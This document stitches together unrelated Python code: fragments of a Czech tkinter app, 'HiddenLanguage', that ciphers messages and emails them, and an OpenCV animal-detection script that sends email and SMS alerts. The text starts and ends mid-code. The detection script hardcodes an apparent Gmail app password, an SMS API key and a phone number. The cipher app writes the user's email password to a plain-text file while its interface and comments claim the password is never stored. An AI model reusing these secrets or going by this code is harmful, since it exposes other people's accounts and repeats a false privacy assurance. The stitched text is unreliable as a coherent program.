        desifrovani_okno = tk.Tk()
        desifrovani_okno.geometry("1920x1080")
        desifrovani_okno.title("Dešifrování")
        menu.destroy()

        nazev = tk.Label(desifrovani_okno ,text="Dešifrování", font=("Arial", 30,"bold"))
        nazev.pack()

        zasifr_text = tk.Label(desifrovani_okno, text="Níže napište zprávu, jenž chcete dešifrovat.", font=("Arial", 15))
        zasifr_text.pack()


        textbox_obsah = tk.Text(desifrovani_okno, height=10, width=50, font=("Arial", 15))
        textbox_obsah.pack(pady=20)


        textbox_kod_label = tk.Label(desifrovani_okno,text="Zadejte dešifrovací kod v příloze (ten bez mezer)",font=("Arial",15))
        textbox_kod_label.pack(pady=5)
        textbox_kod = tk.Text(desifrovani_okno,height=2, width=20,font=("Arial",15))
        textbox_kod.pack(pady=10)

        def Redirect():
            # Toto je kod který se spustí po kliknutí na dešifrovácí tlačitko
            zasifrovany_text_textbox = textbox_obsah.get("1.0", "end-1c")
            textbox_kod_obsah = textbox_kod.get("1.0", "end-1c")
            Desifrovani(zasifrovany_text_textbox,textbox_kod_obsah)

        output_label = tk.Label(desifrovani_okno,text="Obsah dešifrované zprávy",font=("Arial",15))
        output_label.pack(pady=15)
        output = tk.Text(desifrovani_okno,height=10,width=50,font=("Arial",15))
        output.pack()


        # Tlačítka
        tlacitko_desifrovani = tk.Button(desifrovani_okno, text="Dešifrovat zprávu", command=Redirect, height=1,
                                         width=15, font=("Arial", 15,"bold"), bg="blue", fg="white")
        tlacitko_desifrovani.pack(pady=20)


        zpet_do_menu = tk.Button(desifrovani_okno, text="Zpět do menu", command=Zpet_do_menu,
                                   font=("Arial", 15, "bold"), bg="blue", fg="white", activeforeground="black")
        zpet_do_menu.pack(pady=10)


        def Desifrovani(zasifrovany_text,zasifrovany_kod):
            sifrovana_abeceda = zasifrovany_kod

            def create_decryption_map(original_alphabet, shuffled_alphabet):
                decryption_map = {}
                for orig_char, shuffled_char in zip(original_alphabet, shuffled_alphabet):
                    decryption_map[shuffled_char] = orig_char
                return decryption_map

            # Příklad použití:
            original_alphabet = 'ABDCEFGHIJKLMNOPQRSTUVWXYabcdefghijklmnopqrstuvwxyz123456789ěščřžýáíé#@!§'
            shuffled_alphabet = sifrovana_abeceda

            decryption_map = create_decryption_map(original_alphabet, shuffled_alphabet)

            # Dešifrování zprávy
            encrypted_message = zasifrovany_text
            decrypted_message = "".join(decryption_map.get(char, char) for char in encrypted_message)
            obsah_desifrovane_zpravy = decrypted_message

            output.delete("1.0", "end")  # Vymažeme obsah textového pole
            output.insert("1.0", obsah_desifrovane_zpravy)  # Vložíme dešifrovanou zprávu do textového pole









        #Tady budou věci po checkboxech
        desifrovani_okno.mainloop()

    # --------------------------------



    def Audio():
        import webbrowser
        audio_okno = tk.Tk()
        audio_okno.title("Audio informace")
        audio_okno.geometry("600x500")
        audio_okno.configure(bg="black")

        nazev = tk.Label(audio_okno,text="Audio informace",font=("Arial",25,"bold"),fg="blue",bg="black")
        nazev.pack(pady=10)
        podnadpis = tk.Label(audio_okno,text="Zde uslyšíte základní informace o projektu" + "\n" + "Kliknutím na malé tlačítko budete přesměrování na zdroj tts" + "\n" + "Dole je tlačítko na nahlášení bugu" + "\n" + "Takže pokud jste našli jakýkoliv bug, tak neváhejte a kontaktujte mě.",font=("Arial",13),fg="white",bg="black")
        podnadpis.pack(pady=10)

        # Tady budeme definovat akci když klikne na tlačítko s url
        def Web():
            url = "https://www.speechtech.cz/speechtech-text-to-speech/speechtech-tts-online-demo/#Oldrich30"
            webbrowser.open(url)

        web_button = tk.Button(audio_okno,width=15,height=1,command=Web,text="Zdroj TTS",font=("Arial",13),bg="blue",fg="white",activebackground="white", activeforeground="blue")
        web_button.pack(pady=10)



        from playsound import playsound
        def zpet_do_menu():
            audio_okno.destroy()
            tlacitko_klik()


        def spustit_audio():
            import getpass
            username = getpass.getuser()
            cesta_audio = ("C:\\Users\\" + str(username) + "\\Desktop\\HiddenLanguageAudio.mp3")
            playsound(cesta_audio)

        spustit_audio = tk.Button(audio_okno,width=25,height=3,command=spustit_audio,text="Spustit audio",font=("Arial",15),bg="blue",fg="white",activebackground="white", activeforeground="blue")
        spustit_audio.pack(pady=10)

        # Button pro vypnuti progresu a audia
        zastavit_audio = tk.Button(audio_okno, width=15, height=1, command=zpet_do_menu, text="Zpět do menu",
                                       font=("Arial", 15), bg="blue", fg="white", activebackground="white",
                                       activeforeground="blue")
        zastavit_audio.pack(pady=10)

        # Tlačítko na bugy
        def copy_to_clipboard():
            import tkinter.messagebox as mbox
            import pyperclip
            text_to_copy = "g3c45g8mkcdhaoigpg5q@centrum.cz"  # Získáme text z vstupního pole
            pyperclip.copy(text_to_copy)  # Zkopírujeme text do schránky
            mbox.showinfo("Úspěch", "Moje anonymní e-mailová adresa zkopírována do schránky.")


        nahlaseni_bugu = tk.Button(audio_okno, width=13, height=1, command=copy_to_clipboard, text="Nahlásit bug",
                                       font=("Arial", 13), bg="red", fg="white", activebackground="white",
                                       activeforeground="blue")
        nahlaseni_bugu.pack(pady=10)






        audio_okno.mainloop()


    def navraceni_do_menu():
        menu.destroy()
        Uvodni_menu()

    prostor_button = tk.Frame(menu)
    prostor_button.columnconfigure(0,weight=10)
    prostor_button.columnconfigure(1,weight=10)
    prostor_button.columnconfigure(2,weight=10)
    prostor_button.columnconfigure(3,weight=10)

    # Tady je tlačítko na šifrování
    tlacitko_sif = tk.Button(prostor_button,text="Šifrovat", command=tlacitko_klik_sif,font=("Arial",15,"bold"),width=50,height=4,bg="red", fg="white",activebackground="#F07474",activeforeground="black")
    tlacitko_sif.grid(row=0,column=0,sticky=tk.W+tk.E)

    # Tady je tlačítko na dešifrování
    tlacitko_desif = tk.Button(prostor_button,text="Dešifrovat", command=tlacitko_klik_desif,font=("Arial",15,"bold"),width=50,height=4,bg="green", fg="white",activebackground="#9CEF99",activeforeground="black")
    tlacitko_desif.grid(row=1,column=0,sticky=tk.W+tk.E)

    # Nově přidané audio info zde
    tlacitko_audio = tk.Button(prostor_button, text="Informace", command=Audio,
                               font=("Arial", 15, "bold"), width=50, height=4, bg="black", fg="white",
                               activebackground="white", activeforeground="black")
    tlacitko_audio.grid(row=2, column=0, sticky=tk.W + tk.E)

    # Tady je tlačítko na zpět do menu
    tlacitko_menu = tk.Button(prostor_button, text="Zpět do menu", command=navraceni_do_menu, font=("Arial", 15, "bold"),width=50,height=4,
                               bg="purple", fg="white", activebackground="pink",
                               activeforeground="black")
    tlacitko_menu.grid(row=3,column=0,sticky=tk.W+tk.E)

    prostor_button.pack(pady=100)
    #(x=600, y=100, width=100, height=100)

    menu.mainloop()



def Uvodni_menu():
    # Vytvoření okna
    global okno
    okno = tk.Tk()
    okno.geometry("800x600")
    okno.title("HiddenLanguage")

    # widget s časem
    def update_time():
        current_time = time.strftime("%d.%m.%Y %H:%M:%S")  # Formát času (hodiny:minuty:sekundy)
        time_label.config(text=current_time)
        okno.after(1000, update_time)  # Znovu spustit funkci každou sekundu (1000 ms)


    # Vytvoření tlačítka
    nazev = tk.Label(okno, text="\n" + "HiddenLanguage", font=("Arial", 30, "bold"),fg="blue")
    nazev.pack()

    aktualni_update = tk.Label(okno, text="Aktuální verze 1.1 ze dne 2023-07-29", font=("Arial", 15, "bold"),fg="blue",bg="#A1B7FF")
    aktualni_update.pack()
    informace = tk.Label(okno,
                         text="Tento program umí šifrovat a dešifrovat zprávy." + "\n" + "Zašifrované zprávy může odeslat jakékoliv určené osobě na mail." + "\n" + "Více informací naleznete na kubasobr.blogspot.com" + "\n" + "Original HiddenLanguage, all rights reserved",
                         font=("Arial", 12))
    informace.pack()

    tlacitko = tk.Button(okno, text="Klikněte pro start!", command=tlacitko_klik, font=("Arial", 25, "bold"), height=5,
                         width=24, bg="blue", fg="white", activebackground="aqua", activeforeground="black")
    tlacitko.pack(padx=50, pady=20)

    copyright = tk.Label(okno, text="Naprogramoval Jakub Šobr 2023", font=("Arial", 9))
    copyright.pack()

    #WiDGET S AKTUÁLNÍM ČASEM CO SE AKTUALIZUJE PO 1s
    time_label = tk.Label(okno, font=("Helvetica", 24), bg="light gray")
    time_label.pack(fill=tk.BOTH, expand=True)
    update_time()


    # Spuštění smyčky událostí (main loop)
    okno.mainloop()

def Prihlaseni():

    import tkinter as tk
    import time

    def update_time():
        current_time = time.strftime("%d.%m %Y - %H:%M:%S")
        time_label.config(text=current_time)
        prihlaseni.after(1000, update_time)

    def tlacitko_potvrdit_heslo():
        uzivatel= entry_uzivatel.get()
        heslo = entry_password.get()
        if heslo == "***" and uzivatel == "***" or heslo == "host" and uzivatel == "host":
            label_error.config(text="Zadali jste správné heslo.", font=("Arial", 10), fg="blue")
            prihlaseni.destroy()
            # ... Pokračování s vaším kódem ...
            Uvodni_menu()
        else:
            label_error.config(text="Neplatné uživatelské jméno nebo heslo.",font=("Arial",10))
            entry_password.delete(0, tk.END)
            entry_uzivatel.delete(0, tk.END)

    def tlacitko_stisk_klavesy(event):
        tlacitko_klik()

    def on_close():
        pass  # Prázdná funkce zabrání zavření okna

    prihlaseni = tk.Tk()
    prihlaseni.geometry("800x700")
    prihlaseni.title("HiddenLanguage")

    prihlaseni.protocol("WM_DELETE_WINDOW", on_close)  # Zavolání funkce on_close při pokusu o zavření okna

    label = tk.Label(prihlaseni, text="Vítejte v aplikaci HiddenLanguage", font=("Arial", 30, "bold"))
    label.pack(pady=50)


    # TADY JE KOLONKA NA UŽIVATELE
    label_uzivatel = tk.Label(prihlaseni,text="Zadejte uživatelské jméno:",font=("Arial",20))
    label_uzivatel.pack()

    entry_uzivatel = tk.Entry(prihlaseni, font=("Arial", 20))
    entry_uzivatel.pack(pady=20)

    #KOLONKA NA HESLO
    label_password = tk.Label(prihlaseni, text="Zadejte heslo:", font=("Arial", 20))
    label_password.pack()

    entry_password = tk.Entry(prihlaseni, font=("Arial", 20), show="*")
    entry_password.pack(pady=20)
    #konec kolonky a potvrzení v podobe tlacitka


    prihlaseni_button = tk.Button(prihlaseni, text="Potvrdit",bg="blue",fg="white", font=("Arial", 20), command=tlacitko_potvrdit_heslo)
    prihlaseni_button.pack(pady=10)

    # Tady je ukončení programu definitivně!!
    def Konec():
        exit()
    konec = tk.Button(prihlaseni, text="Opustit aplikaci", command=Konec,
                                  font=("Arial", 12, "bold"), bg="red", fg="white", activeforeground="black")
    konec.pack()


    label_error = tk.Label(prihlaseni, text="", font=("Arial", 15), fg="red")
    label_error.pack()

    entry_password.bind("<Return>", tlacitko_stisk_klavesy)

    time_label = tk.Label(prihlaseni, font=("Helvetica", 24), bg="light gray")
    time_label.pack(fill=tk.BOTH, expand=True)
    update_time()

    prihlaseni.mainloop()
Prihlaseni()
Uvodni_menu()

#HiddenLanguage 2023 made by Jakub Šobr
#Můžete se podívat ale heslo FR FR nikde není ukládaný, nejsem cockot
#Ukládají se jenom soubory který se pak nahrávají do přílohy apod.
#Pokud se bojíte tak si udělejte API key od googlu https://console.cloud.google.com/ Crede
#Ostatní info v readme
#Import packages
import numpy as np
#import argparse
import cv2
import random
import pygame
from email.message import EmailMessage
import imutils
import time
import datetime
import imghdr
import os
from collections import Counter
import playsound
import requests
from playsound import playsound
#from imutils.video import VideoStream
from imutils.video import FPS
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

# construct the argument parse and parse the arguments
#ap = argparse.ArgumentParser()
#ap.add_argument("-p", "--prototxt", required=True, help="path to Caffe 'deploy' prototxt file")
#ap.add_argument("-m", "--model", required=True, help="path to Caffe pre-trained model")
#ap.add_argument("-c", "--confidence", type=float, default=0.2, help="minimum probability to filter weak detections")
#args = vars(ap.parse_args())

protext="DNN_Object_Detection-master/DNN_Object_Detection-master/MobileNetSSD_deploy.prototxt.txt"
model="DNN_Object_Detection-master/DNN_Object_Detection-master/MobileNetSSD_deploy.caffemodel"

	# initialize the list of class labels MobileNet SSD was trained to
	# detect, then generate a set of bounding box colors for each class
CLASSES = ["background", "aeroplane", "bicycle", "bird", "boat", "bottle", "bus", "car", "cat", "chair", "cow", "diningtable", "dog", "horse", "motorbike", "person", "pottedplant", "sheep", "sofa", "train", "tvmonitor"]
REQ_CLASSES=["bird","cat","cow","dog","horse","sheep"]
COLORS = np.random.uniform(0, 255, size=(len(CLASSES), 3))

	#Load model
print("Loading Model...")
net=cv2.dnn.readNetFromCaffe(protext, model)
print("Starting camera feed...")

vs=cv2.VideoCapture(0, cv2.CAP_DSHOW)
	#vs=VideoStream(src=0).start()
time.sleep(2)
fps=FPS().start()

	#Set confidence threshold
conf_thresh=0.2

	#Animal detection counter
count=[]
flag=0
siren_loc=os.path.join(os.getcwd(),'Siren.wav')
global det
det=0
	#Read frame by frame
while vs:
	success, frame = vs.read()
	if not success:
		break
	frame = imutils.resize(frame, width=500)
	#Take the frame dimentions and convert it to a blob
	(h, w) = frame.shape[:2]
	blob = cv2.dnn.blobFromImage(cv2.resize(frame, (300,300)), 0.007843, (300,300), 127.5)

	net.setInput(blob)
	detections = net.forward()
	#frame detection flag
	for i in np.arange(0, detections.shape[2]):
		#Probability associated with predictions
		confidence = detections[0,0,i,2]
		if confidence > conf_thresh:
			#Extract the class labels and dimentions of bounding box
			idx = int(detections[0,0,i,1])
			box = detections[0,0,i,3:7]*np.array([w,h,w,h])
			(startX, startY, endX, endY) = box.astype("int")

			#draw the box with labels
			if CLASSES[idx] in REQ_CLASSES:
				det+=1
				label="{}: {:.2f}%".format("Animal",confidence*100)
				cv2.rectangle(frame, (startX, startY), (endX, endY), (36,255,12), 2)
				if (startY-15) > 15:
					y = (startY - 15)
				else:
					y = (startY+15)
				print(f"Animal Intrusion Alert...!!! {len(count)}")
				path = r"siren/alert"
				file = os.path.join(path, random.choice(os.listdir(path)))
				pygame.mixer.init()
				pygame.mixer.music.load(file)
				pygame.mixer.music.play()
				if det >=10:
					nn = random.randint(0, 100)
					noOfFile = 'Animal' + str(nn) + '.jpg'
					print(type(noOfFile))
					cv2.imwrite("static/Animal_data/" + noOfFile, frame[startY:endY, startX:endX])
					ts = time.time()
					date = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d')
					timeStamp = datetime.datetime.fromtimestamp(ts).strftime('%H:%M:%S')
					s1 = "a@gmail.com"
					msg = 'Hi countryman!!'
					msg1 = 'We have captured an animal in your forms at ' + timeStamp + ' on ' + date + ' please be safe. '
					t = 'Regards,'
					t1 = 'AI Farming Services.'
					mail_content1 = msg + ',' + '\n' + msg1 + '\n' + '\n' + t + '\n' + t1
					sender_address = 'dopatisukumar@gmail.com'
					sender_pass = 'rzihvvowxagwrwgd'
					receiver_address = 'sukumardopati@gmail.com'
					message1 = MIMEMultipart()
					message1['From'] = sender_address
					message1['To'] = receiver_address
					message1['Subject'] = 'Animal Detection Using OpenCV'
					message1.attach(MIMEText(mail_content1, 'plain'))
					session2 = smtplib.SMTP('smtp.gmail.com', 587)
					session2.starttls()
					session2.login(sender_address, sender_pass)
					text1 = message1.as_string()
					session2.sendmail(sender_address, receiver_address, text1)
					session2.quit()

					newMessage = EmailMessage()
					newMessage['Subject'] = "Animal Detection Using OpenC"
					newMessage['From'] = sender_address
					newMessage['To'] = receiver_address
					newMessage.set_content(mail_content1)

					with open('static/Animal_data/' + noOfFile, 'rb') as f:
						image_data = f.read()
						image_type = imghdr.what(f.name)
						image_name = f.name

					newMessage.add_attachment(image_data, maintype='image', subtype=image_type, filename=image_name)

					with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp:
						smtp.login(sender_address, sender_pass)
						smtp.send_message(newMessage)

					url = "https://www.fast2sms.com/dev/bulkV2"
					print(url)

					no = '9390517887'
					data = {
						"route": "q",
						"message": mail_content1,
						"language": "english",
						"flash": 0,
						"numbers": no,
					}
					headers = {
						"authorization": "NgtD58YWLjubd2wXVFHAyrP6xOmRvaKeECJ1GhQUBfSsMc7piob3ELPkxpFqQnT7Gu6sitdUIBXMCrSW",
						"Content-Type": "application/json"
					}
					response = requests.post(url, headers=headers, json=data)
					print(response)
					cv2.putText(frame, label, (startX, y), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (36,255,12), 2)


		#Show the frames
	cv2.imshow("Frame", frame)
	count.append(det)
	#Alerts only if at least 15 frames sucessfully detects animals in the last 36 frames (appx 2 sec)

	#if flag==1 and len(count) > c+36:
	#	flag=0
	if flag==1 and len(count) > c +(11*18):
		flag=0
	if Counter(count[len(count)-36:])[1] > 15 and flag==0:


		c=len(count)

	key = cv2.waitKey(1)
	if key == ord("q"):
		break
	fps.update()

fps.stop()
print("Elapsed time: {:.2f}".format(fps.elapsed()))
print("Approximate FPS: {:.2f}".format(fps.fps()))
vs.release()
cv2.destroyAllWindows()
#vs.stop()



import tkinter as tk
from tkinter import messagebox
import random
import smtplib

from email.mime.multipart import MIMEMultipart
import time
from email.mime.base import MIMEBase
from email import encoders

import getpass
from email.mime.text import MIMEText
obsah_desifrovane_zpravy = ""


def tlacitko_klik():

    okno.destroy()
    menu = tk.Tk()
    menu.geometry("800x700")
    # menu.configure(bg="light gray")
    menu.title("HiddenLanguage")


    label1 = tk.Label(menu,text="\n" +"Šifrovat či Dešifrovat?",font=("Arial",30,"bold"))
    label1.pack()

    label2 = tk.Label(menu,text="Chcete šifrovat nebo dešifrovat?",font=("Arial",15))
    label2.pack()

    def tlacitko_klik_sif():
        import json
        # Tady se vyčistí soubory txt ze speciálního nastavení = 1) nápověda v emailu, 2) přezdívka v emailu
        with open("napoveda_uzivatel", "w") as file:
            file.write("")

        data = {}
        with open("prezdivka.json", "w") as json_file:
            json.dump(data, json_file)


        #Přes tento kod se uloží hodnoty a spustí funkce Šifrování a email.
        def ulozeni_hodnot_mail():
            # Získáme text z textboxu (Text widgetu)
            zprava_ke_skryti = textbox_obsah.get("1.0", "end-1c")  # "1.0" označuje začátek a "end-1c" označuje konec textu
            nazev_souboru_sifr = (str(textbot_nazev_souboru.get("1.0", "end-1c")) + ".txt")
            odesilatel = textbot_odesilatel.get("1.0", "end-1c")
            prijemce = textbot_prijemce.get("1.0", "end-1c")
            heslo = textbot_odesilatel_heslo.get("1.0", "end-1c")
            #List který slouží pro for i in range dole


            with open("zprava_ke_skryti.txt","w") as file:
                file.write(zprava_ke_skryti)
            with open(nazev_souboru_sifr, "w") as file:
                file.write(nazev_souboru_sifr)
            with open("odesilatel.txt","w") as file:
                file.write(odesilatel)
            with open("prijemce.txt","w") as file:
                file.write(prijemce)
            with open("heslo.txt", "w") as file:
                file.write(heslo)

            # Tady získáváme informace ke každé informaci v podobě True False (jestli je pole prázdné nebo ne) Stačí aby bylo jedno a bude error
            if not zprava_ke_skryti.strip() or not nazev_souboru_sifr.strip() or not odesilatel.strip() or not prijemce.strip() or not heslo.strip():
                messagebox.showinfo("Upozornění", "Vyplňte všechna pole!")

            if odesilatel.strip():
                if not odesilatel[-10:] == "@gmail.com":
                    messagebox.showinfo("Upozornění", "Jediná možná adresa u odesílatele e-mailu je @gmail.com!")

            Sifrovani(zprava_ke_skryti, nazev_souboru_sifr)
            with open("sifrovani.txt", "r") as file:
                sifrovany_text = file.read()
                oznamena_sifra = tk.Label(sifrovani_okno, text=(
                        "Vaše skrytá zakodovaná šifra zní takto: " + str(sifrovany_text)),
                                          font=("Arial", 15))
                oznamena_sifra.place(x=150, y=650, width=600, height=100)
            email(odesilatel, prijemce, heslo, nazev_souboru_sifr)
            messagebox.showinfo("Upozornění", "Úspěšně odeslán email!")
            program_bude_ukoncen = tk.Label(sifrovani_okno,
                                            text="Toto okno bude do pár sekund zavřeno.Poté budete moci program použít znovu.")
            program_bude_ukoncen.place(x=250, y=650, width=600, height=100)
            time.sleep(5)
            sifrovani_okno.destroy()
            time.sleep(2)
            Uvodni_menu()



        #Vytvoření šifrovacího okna
        sifrovani_okno = tk.Tk()
        sifrovani_okno.geometry("1920x1080")
        sifrovani_okno.title("Šifrování")
        menu.destroy()

        def zpet_do_menu():
            sifrovani_okno.destroy()
            Uvodni_menu()

        label1 = tk.Label(sifrovani_okno ,text="Šifrování", font=("Arial", 30))
        label1.pack()

        label2 = tk.Label(sifrovani_okno,text="Níže napište svoji zprávu, jenž chcete šifrovat.", font=("Arial", 15))
        label2.pack()
        textbox_obsah = tk.Text(sifrovani_okno, height=10,width=50, font=("Arial", 15))
        textbox_obsah.pack(pady=20)


        label3 = tk.Label(sifrovani_okno,padx=30, text="Zde napište název pro soubor, v němž bude uložen kod.", font=("Arial", 15))
        label3.pack()
        textbot_nazev_souboru = tk.Text(sifrovani_okno, height=1,width=30, font=("Arial", 15))
        textbot_nazev_souboru.pack(pady=20)

        #EMAIL
        email_odesilatel_label = tk.Label(sifrovani_okno,padx=35, text="Zadejte váš email", font=("Arial", 15))
        email_odesilatel_label.pack()
        textbot_odesilatel = tk.Text(sifrovani_okno, height=1, width=30, font=("Arial", 15))
        textbot_odesilatel.pack(pady=20)

        email_prijemce_label = tk.Label(sifrovani_okno, padx=45, text="Zadejte email dané osoby", font=("Arial", 15))
        email_prijemce_label.pack()
        textbot_prijemce = tk.Text(sifrovani_okno, height=1, width=30, font=("Arial", 15))
        textbot_prijemce.pack(pady=20)

        email_odesilatel_label_heslo = tk.Label(sifrovani_okno, padx=50, text="Zadejte vaše heslo", font=("Arial", 15))
        email_odesilatel_label_heslo.pack()
        textbot_odesilatel_heslo = tk.Text(sifrovani_okno, height=1, width=30, font=("Arial", 15))
        textbot_odesilatel_heslo.pack(pady=20)

        kontrola = tk.Button(sifrovani_okno,text="Odeslat", command=ulozeni_hodnot_mail,font=("Arial",20),bg = "gray", fg = "black", activebackground = "blue",activeforeground="white")
        kontrola.pack(pady=10)

        poznamka = tk.Label(sifrovani_okno, text="Kod v souboru, jemuž dáváte název je takový kod bez mezer, který je důležitý při dešifrování." + "\n" +"Odesílatel musí mít emailovou adresu od Gmailu. Příjemce nemusí." + "\n" +"Heslo vámi zadané se nikam neukládá a za to vám ručím. Celý programovací kod je veřejně přístupný.", font=("Arial", 10))
        poznamka.pack(pady=10)

        navraceni_do_menu = tk.Button(sifrovani_okno,text="Vrátit se do menu",command=zpet_do_menu,font=("Arial",12,"bold"),bg="blue",fg="white",activeforeground="black")
        navraceni_do_menu.pack()

        #------------------------------------------------------------

        # Tady jsou definovány checkboxy které se ptají na návod a přezdívku
        #Funkce SE SPUSTÍ JAKMILE UŽIVATEL ZMÁČKNE TLAČÍTKO PRO ULOŽENÍ



        def otevri_vyskakovaci_okno():
            vyskakovaci_okno = tk.Toplevel()
            vyskakovaci_okno.geometry("900x500")
            vyskakovaci_okno.title("Nastavení nápovědy v mailu")


            # Tady je definován textbox který se objeví jakmile je v druhé možnosti zaškrtnuto jakože ano
            # Tady bude textbox, který se zobrazí pouze jakmile je zaškrtnutá možnost 1
            def on_text_click(event):
                if textbox.get("1.0",
                               tk.END).strip() == "Napište přezdívku, jenž se objeví v emailu. Dbejte na svoji anonymitu. Přece jen, je to k tomu vytvořené!":
                    textbox.delete("1.0", tk.END)  # Smazat původní text při kliknutí do pole
                    textbox.config(fg='black')  # Změnit barvu textu na černou

            def on_focus_out(event):
                if textbox.get("1.0", tk.END).strip() == "":
                    textbox.insert("1.0",
                                   "Napište přezdívku, jenž se objeví v emailu. Dbejte na svoji anonymitu. Přece jen, je to k tomu vytvořené!")  # Pokud uživatel nezadal žádný text, vrátit původní placeholder
                    textbox.config(fg='grey')  # Nastavit barvu textu na šedou

            # Placeholder - původní text, který se zobrazuje, dokud uživatel nezačne psát
            placeholder = "Napište přezdívku, jenž se objeví v emailu. Dbejte na svoji anonymitu. Přece jen, je to k tomu vytvořené!"

            textbox = tk.Text(vyskakovaci_okno, height=3, width=40, wrap="word", fg='grey',font=("Arial",10))
            textbox.insert("1.0", placeholder)
            textbox.bind('<FocusIn>', on_text_click)  # Při kliknutí do pole
            textbox.bind('<FocusOut>', on_focus_out)  # Když pole ztratí focus (kliknutí mimo pole)
            #KONEC TEXTBOXUUUUUUUUUUU

            def on_checkbox_click():
                if napoveda.get() == 1:
                    with open("napoveda_uzivatel", "w") as file:
                        file.write("ano")
                else:
                    with open("napoveda_uzivatel", "w") as file:
                        file.write("ne")

            def chce_jmeno_checkbox_klik():
                if chce_jmeno_y_n.get() == 1:
                    textbox.pack(pady=10)
                else:
                    textbox.pack_forget()

            # Zde jsou checkboxy a otazky
            label = tk.Label(vyskakovaci_okno, text="Nastavení nápovědy", font=("Arial", 20),activeforeground="blue")
            label.pack(pady=10)
            label_napoveda = tk.Label(vyskakovaci_okno,
                                      text="A) Pokud zaškrtnete checkbox, tak bude mail obsahovat návod k dešifrování zprávy." + "\n" + "Pokud nezaškrtnete checkbox, tak nápověda v mailu nebude.",font=("Arial",11),activeforeground="blue")
            label_napoveda.pack(pady=10)

            napoveda = tk.IntVar()
            checkbox = tk.Checkbutton(vyskakovaci_okno,
                                      text="Chci aby email obsahoval nápovědu k řešení",
                                      font=("Arial", 12), variable=napoveda, command=on_checkbox_click)
            checkbox.pack(pady=10)


            # Tady je část kodu jenž se zaobývá uživatelem
            label_uzivatel = tk.Label(vyskakovaci_okno,
                                      text="B) Tady je checkbox, který pokud zaškrtnete tak budete mít možnost vymyslet si vlastní přezdívku." + "\n" + "Pokud nezaškrtnete tuto možnost, tak počítač při odeslání mailu přečte název vašeho usera na pc např host nebo tomáš apod.",
                                      font=("Arial", 11), activeforeground="blue")
            label_uzivatel.pack(pady=10)

            chce_jmeno_y_n = tk.IntVar()
            jmeno_uzivatele = tk.Checkbutton(vyskakovaci_okno,
                                      text="Chci si sám vytvořit přezdívku",
                                      font=("Arial", 12), variable=chce_jmeno_y_n, command=chce_jmeno_checkbox_klik)
            jmeno_uzivatele.pack(pady=10)

            #Toto uloží hodnoty z checkboxu
            def ulozeni_hodnot():
                import json
                if chce_jmeno_y_n.get() == 1:
                    prezdivka = textbox.get("1.0", "end-1c")

                    data = {
    "chce_prezdivku": True,
    "prezdivka": prezdivka
                    }

                    with open("prezdivka.json", "w") as json_file:
                        json.dump(data, json_file)
                vyskakovaci_okno.destroy()


            odeslat_button = tk.Button(vyskakovaci_okno,height=3,width=20,text="Potvrdit",command=ulozeni_hodnot,font=("Arial",16,"bold"),bg="blue",fg="white",activeforeground="black")
            odeslat_button.place(x=320,y=360)


        specialni_nastaveni = tk.Button(sifrovani_okno,text="Speciální nastavení",command=otevri_vyskakovaci_okno,font=("Arial",12,"bold"),bg="red",fg="white",activeforeground="black")
        specialni_nastaveni.pack(pady=5)


        #Konfigurace mailu
        def email(odesilatel,prijemce,password,nazev_souboru):
            import json
            import datetime

            with open("prezdivka.json", "r") as json_file:
                nactena_data = json.load(json_file)

            chceprezdivku = nactena_data["chce_prezdivku"]
            if chceprezdivku == True:
                qw = nactena_data["prezdivka"]
            else:
                qw = getpass.getuser()

            # Získání aktuálního času
            cas = datetime.datetime.now()
            hodiny_cas = cas.strftime("%H:%M:%S")
            formatovany_cas = cas.strftime("%Y-%m-%d %H:%M:%S")

            sender_password = password

            # Email configuration
            sender_email = odesilatel
            receiver_email = prijemce
            subject = "Byla vám poslána záhadná zpráva"

            with open(nazev_souboru,"r") as file:
                nova_abeceda = file.read()
            with open("napoveda_uzivatel","r") as file:
                napoveda_ano_ne = file.read()
            if napoveda_ano_ne == "ano":
                html_message = f"""<p><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 36px; color: rgb(0, 0, 0); text-shadow: rgba(136, 136, 136, 0) 0px 0px 0px;">Byla v&aacute;m odesl&aacute;na z&aacute;hadn&aacute; zpr&aacute;va</span></strong></span></p>
<p><span style="font-size: 26px;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Co to m&aacute; znamenat?</strong></span></span></p>
<p>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">Před několika vteřinami, přesněji v&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{hodiny_cas}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">&nbsp; byla zaznamen&aacute;na podivn&aacute; aktivita na jak&eacute;msi programu s n&aacute;zvem&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">HiddenLanguage</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Jedin&aacute; dohledateln&aacute; informace je, že uživatel se vyskytuje pod přezd&iacute;vkou&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{qw}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Pokud v&iacute;te co m&aacute;te dělat, tak čiňte jak usoud&iacute;te. V př&iacute;loze je zasl&aacute;n k&oacute;d, jenž se v&aacute;m bude zajist&eacute; hodit v dal&scaron;&iacute;ch akc&iacute;ch.</span></font>
</p>
<p style="text-align: left;"><br></p>
<p style="text-align: left;"><span style="font-size: 26px; font-family: Arial, Helvetica, sans-serif;"><strong>Zachycen&aacute; zpr&aacute;va ze serv</strong><strong>eru</strong></span></p>
<div><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 18px;">{sifrovany_text}</span></strong></span></div>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
